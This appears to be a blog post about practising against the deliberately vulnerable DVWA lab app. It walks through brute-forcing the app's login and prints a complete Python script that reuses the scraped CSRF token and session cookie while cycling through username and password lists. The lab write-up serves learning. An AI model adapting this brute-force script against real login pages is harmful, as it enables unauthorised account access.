I recently started playing around with the Damn Vulnerable Web Application, a PHP/MySQL web app for security researchers and students. It is, as the name implies, damn vulnerable.
After installation of DVWA you’ll be presented with a login page. Unless you supply the user and password from the manual you’ll have to get access some other way. Fruitlessly trying some SQL injection I decided to simply brute force the login, and used Burp Suite to get some more information. Turns out that all you need to login is the username, password, user token and a session id. The session id is provided in a cookie, the user token by the login page, and the username and password is of course what we need to find.
[cc lang=”python”][/cc]
While manually supplying a few user names and passwords I found out that the login page responds with a 302 Found HTTP response, either forwarding back to the login page in case of a failed login, or to index.php in case of a successful login (I already knew the default user name and password from the manual). Going back to the index.php resulted in a new user token being generated, but ignoring the forward meant I could continue supplying the same user token again and again.
I wrote the brute forcer in python using BeautifulSoup, requests and re, all python modules. The program is pretty simple: request the login page, find and extract the user token from within the login page, get the session id from the cookie, and return these plus a random username and password with a HTTP POST method.
Running this script with a supplied list of user names and passwords meant I was able to find the login in just a few seconds. The script is tailored to DVWA but could easily be customised for other vulnerable sites.
[cc lang=”python”]#!/usr/bin/python
from bs4 import BeautifulSoup
import requests
import re
# url to attack
url = “http://192.168.56.101/dvwa/login.php”
# get users
user_file = “users.txt”
fd = open(user_file, “r”)
users = fd.readlines()
fd.close()
# get passwords
password_file = “passwords.txt”
fd = open(password_file, “r”)
passwords = fd.readlines()
fd.close()
# Changes to True when user/pass found
done = False
print(“Attacking ” + url + “\n”)
# Get login page
try:
r = requests.get(url, timeout=5)
except ConnectionRefusedError:
print(“Unable to reach server! Quitting!”)
# Extract session_id (next 2 lines are from https://blog.g0tmi1k.com/dvwa/login/)
session_id = re.match(“PHPSESSID=(.*?);”, r.headers[“set-cookie”])
session_id = session_id.group(1)
print(“Session_id: ” + session_id)
cookie = {“PHPSESSID”: session_id}
# prepare soup
soup = BeautifulSoup(r.text, “html.parser”)
# get user_token value
user_token = soup.find(“input”, {“name”:”user_token”})[“value”]
print(“User_token: ” + user_token + “\n”)
for user in users:
user = user.rstrip()
for password in passwords:
if not done:
password = password.rstrip()
payload = {“username”: user,
“password”: password,
“Login”: “Login”,
“user_token”: user_token}
reply = requests.post(url, payload, cookies=cookie, allow_redirects=False)
result = reply.headers[“Location”]
print(“Trying: ” + user + “, ” + password, end=”\r”, flush=True)
if “index.php” in result:
print(“Success! \nUser: ” + user + ” \nPassword: ” + password)
done = True
else:
break
[/cc]
Great! Thank you man! Works like a charm